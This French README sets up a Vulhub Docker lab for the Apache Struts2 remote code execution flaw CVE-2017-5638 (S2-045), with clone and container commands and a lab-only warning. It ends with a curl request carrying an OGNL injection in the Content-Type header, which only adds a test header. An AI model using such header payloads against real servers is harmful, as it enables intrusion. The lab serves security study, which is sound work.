
Un laboratoire pratique démontrant l'exploitation d'une vulnérabilité critique d'exécution de code à distance (RCE) dans Apache Struts2 (CVE-2017-5638) en utilisant les environnements Docker de Vulhub. Comprend des instructions d'installation et des commandes pour exécuter le conteneur vulnérable.
Ce projet illustre la vulnérabilité d'exécution de code à distance (RCE) dans Apache Struts2 (CVE-2017-5638).
Les attaquants peuvent exploiter un en-tête HTTP Content-Type malveillant pour exécuter des commandes système arbitraires sur les serveurs vulnérables.
Ce dépôt utilise Vulhub Docker labs pour fournir un environnement sûr afin de tester et comprendre la vulnérabilité.
1️⃣ Clonez ce dépôt
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Démarrez le conteneur vulnérable
docker compose up -d
3️⃣ Vérifiez que le conteneur est en cours d'exécution
docker ps
Vous devriez voir quelque chose comme :
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Testez l'interface web
Ouvrez votre navigateur → http://<VM_IP>:8080
Vous devriez voir la page d'accueil de l'application Struts2.
Exemple d'adresse IP de la VM :
192.168.56.101
⚠️ Effectuez l'exploitation uniquement dans un environnement de laboratoire contrôlé. N'attaquez jamais des serveurs publics.
Vous pouvez maintenant tester la RCE à l'aide de scripts ou d'outils comme curl ou Metasploit contre le conteneur vulnérable.
Exemple (remplacez <command> par votre commande de test) :
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/